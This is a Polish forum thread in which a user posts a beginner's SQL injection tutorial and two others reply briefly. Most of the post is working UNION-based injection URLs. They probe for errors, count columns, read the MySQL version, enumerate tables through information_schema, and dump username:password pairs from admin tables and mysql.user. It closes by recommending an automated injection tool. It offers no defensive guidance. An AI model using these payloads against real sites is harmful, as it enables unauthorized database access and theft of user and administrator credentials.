Security doesn't exist, no system is safe

You are not logged in.

#1 2015-04-05 01:58:44

Mirko
Significant
Registered: 2012-01-04
Posts: 32

[Tutorial] SQL Injection-dla początkujących

Zanim zaczniemy: Co to jest SQL Injection?

Jest to jedna z najczęstszych luk w zabezpieczeniach aplikacji internetowych(Oprócz XSS ale o tym inny tutek bedzie). Pozwala to atakującemu na wykonanie zapytania do bazy danych i uzyskanie dostępu do bazy danych

1). Sprawdzamy czy strona jest podatna na atak.

Powiedzmy ze to jest nasza strona:

http://www.niebezpiecznik.pl/news.php?id=5

Teraz żeby zobaczyć czy strona jest podatna na atak SQL Injection na końcu linka lub przed 5 wstawiamy ' ,(sposób dla początkujących,są też inne sposoby na wywołanie błędu)

Coś takiego:

http://www.niebezpiecznik.pl/news.php?id=5'

Jeżeli strona wyświetli podobny błąd to tego:

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right etc

Znaczy to, ze strona jest podatna na ten atak.

2). Liczymy Kolumny

Aby znaleźć liczbę kolumn używamy komendy ORDER BY

Więc jak to działa? Zwiększamy liczbę kolumn dopóki błąd nie zniknie.

http://www.niebezpiecznik.pl/news.php?id=5 order by 1/* <-- bez błędu
http://www.niebezpiecznik.pl/news.php?id=5 order by 2/* <-- bez błędu
http://www.niebezpiecznik.pl/news.php?id=5 order by 3/* <-- bez błędu
http://www.niebezpiecznik.pl/news.php?id=5 order by 4/* <-- Błąd

(Jeżeli zobaczymy wiadomość podobna do: Unknown column '4' in 'order )

Oznacza to, ze strona ma 3 kolumny, ponieważ przy 4 kolumnie wyświetlił się błąd.

3). Sprawdzamy funkcję UNION

Używając tej funkcji możemy wyciągnąć więcej danych z bazy w jednym zapytaniu.

No wiec mamy nasz link:

http://www.niebezpiecznik.pl/news.php?id=5 union all select 1,2,3/*

(Wiemy ze mamy 3 kolumny, ponieważ już pokazałem to w części 2). )

Jeżeli zobaczymy jakieś numerki , 1 albo 2 albo 3 znaczy ze komenda UNION działa.

4). Sprawdzamy wersje MySQL

http://www.niebezpiecznik.pl/news.php?id=5 union all select 1,2,3/*

Jeżeli nie działa  /*  lub jeżeli pokazuje nam się jakiś błąd , używamy --

Jest to potrzebne do właściwego zapytania.

Powiedzmy ze na ekranie pokazał nam się numerek 2 na ekranie, wiec teraz możemy sprawdzić wersje.

W naszym linku zamieniamy kolumnę 2 na @@version albo version()

http://www.niebezpiecznik.pl/news.php?id=5 union all select 1,@@version,3/*


I widzimy cos podobnego do tego 4.1.33-log albo 5.0.45.

Jeżeli pokaze nam sie blad: "union + illegal mix of collations..

Musimy użyć funkcji convert()

http://www.niebezpiecznik.pl/news.php?id=5 union all select 1,convert(@@version using latin1),3/*


albo funkcji hex() i unhex()

http://www.niebezpiecznik.pl/news.php?id=5 union all select 1,unhex(hex(@@version)),3/*

I pokaże nam się Wersja MySQL.

5). Sprawdzanie nazwy Tabel I kolumn

Jeżeli wersja MySQL jest < 5 ( 4.1.33, 4.1.12...) <--- później opisze MySQL > 5.

W większości przypadków musimy zgadywać nazwy tabel I kolumn.

Najczęściej używane nazwy tabel : user/s, admin/s, member/s ...

Najczęściej używane nazwy kolumn: username, user, usr, user_name, password, pass, passwd, pwd itp...

Będzie to wyglądało:

http://www.niebezpiecznik.pl/news.php?id=5 union all select 1,2,3 from admin/*

(Na ekranie pokazał się numerek 2, wiec dobrze)

Teraz wiemy, że tabela admin istnieje...

Teraz sprawdzamy nazwy kolumn..

http://www.niebezpiecznik.pl/news.php?id=5 union all select 1,username,3 from admin/*

(Jeżeli pokaże nam się błąd, próbujemy inna nazwę)

Na ekranie wyświetli nam się jakaś nazwa np: Admin, superadmin itp...

Teraz sprawdzamy czy kolumna o nazwie password istnieje

http://www.niebezpiecznik.pl/news.php?id=5 union all select 1,password,3 from admin/*

(Jeżeli pokaże nam sie błąd, próbujemy inna nazwę)

Czasami widać normalne hasło, a czasami jest ono zakodowane np w: md5 hash, mysql hash, sha1.

Teraz trzeba dokończyć zapytanie, żeby ono jakoś wyglądało smile

możemy użyć funkcji concat()

Przykład:

http://www.niebezpiecznik.pl/news.php?id=5 union all select 1,concat(username,0x3a,password),3 from admin/*


Oczywiście można oddzielić hasło od nazwy używając (:,|,/,*,itp), lecz trzeba je zamienić na hexy:

; = 0x3b
- = 0x2d
: = 0x3a

Teraz widzimy na ekranie username:password, admin:admin, admin:hash.

Przy użyciu tych danych możemy się zalogowac jako Admin lub Superadmin.

Jeżeli nie możesz odnaleźć nazwy tabeli zawsze możesz spróbować mysql.user

Bedzie to wygladało tak:

http://www.niebezpiecznik.pl/news.php?id=5 union all select 1,concat(user,0x3a,password),3 from mysql.user/*


6). MySQL 5

No i w końcu ta fajniejsza część. smile

Dla tej wersji będziemy używali information_schema. Trzyma wszystkie nazwy tabel i kolumn w bazie danych.

Żeby zobaczyć tabele w bazie danych używamy table_name i information_schema.tables.

Przykład:

http://www.niebezpiecznik.pl/news.php?id=5 union all select 1,table_name,3 from information_schema.tables/*


Zamieniamy kolumnę 2 na table_name żeby zobaczyć pierwsza tabele z information_schema.tables

No i pokazała nam się nazwa. Teraz musimy dodać LIMIT do końca zapytania.

Przykład:

http://www.niebezpiecznik.pl/news.php?id=5 union all select 1,table_name,3 from information_schema.tables limit 0,1/*

Teraz żeby zobaczyć 2 tabele, zmieniamy limit z 0,1 na limit 1,1

A wyglada to tak:

http://www.niebezpiecznik.pl/news.php?id=5 union all select 1,table_name,3 from information_schema.tables limit 1,1/*


No i widzimy 2 tabele.

Żeby zobaczyć 3 tabele zmieniamy limit na 2,1

Przykład:

http://www.niebezpiecznik.pl/news.php?id=5 union all select 1,table_name,3 from information_schema.tables limit 2,1/*


Możemy tez sprawdzić wszystkie tabele używając group_concat(table_name)

A link będzie wyglądał tak:

http://www.niebezpiecznik.pl/index.php?ID=40397+and+1=0+union+select+group_concat(table_name)+from+information_schema.tables--


Aby sprawdzić nazwy kolumn używamy takiej samej metody

Używamy: column_name i information_schema.columns

Będzie to wyglądało tak samo jak powyżej.

http://www.niebezpiecznik.pl/news.php?id=5 union all select 1,column_name,3 from information_schema.columns limit 0,1/*


Pokazuje się nazwa pierwszej kolumny.

Teraz druga (zmieniamy limit z 0,1 na 1,1)

Nasz link wygląda tak:

http://www.niebezpiecznik.pl/news.php?id=5 union all select 1,column_name,3 from information_schema.columns limit 1,1/*


Pokazała się nazwa drugiej kolumny, sprawdzamy resztę kolumn, aż trafimy na:

username,user,login, password, pass, passwd itp...

Jeżeli chcecie wyswietlic nazwy kolumn dla specyficznej tabeli używamy np "users"

Robimy tak:

http://www.niebezpiecznik.pl/news.php?id=5 union all select 1,column_name,3 from information_schema.columns where table_name='users'/*


Teraz pokazała nam się pierwsza kolumna w tabeli users. I znowu bawimy się komenda Limit aby zobaczyć resztę kolumn.

Nie będzie to działać, jeżeli opcja magic quotes jest włączoną.

Powiedzmy ze znaleźliśmy kolumny user,pass,email.

Teraz musimy wszystko ładnie złożyć do kupy, wiec znowu używamy concat()

No i nasz link wygląda tak:

http://www.niebezpiecznik.pl/news.php?id=5 union all select 1,concat(user,0x3a,pass,0x3a,email) from users/*

Pokazało nam się user:pass:email z tabeli users

Ps.Nie polecam sie męczyć ręcznie tylko uzyć prostych narzędzi np.Havij

Last edited by Mirko (2015-04-05 03:04:45)

LinuxFirefox 37.0

Offline

#2 2015-04-05 02:02:52

modInfo
CEO & Founder ITUnix.eu
From: Fulda
Registered: 2012-01-04
Posts: 472
Website

Re: [Tutorial] SQL Injection-dla początkujących

o bardzo dziekuje smile


sysadmin

LinuxFirefox 37.0

Offline

#3 2016-08-20 00:43:31

Dronex
Member
Registered: 2016-08-20
Posts: 1

Re: [Tutorial] SQL Injection-dla początkujących

Fajnie praktycznie wyjaśniony jednak brakuje trochę teorii na ten temat: atak sql injection. Ostatnio nawet forum ubuntu bodajże czy debiana wyciekło właśnie wstrzykiwaniem sql...

Last edited by Dronex (2016-08-20 00:43:53)

Windows 8Chrome 52.0.2743.82

Offline

Board footer

Powered by FluxBB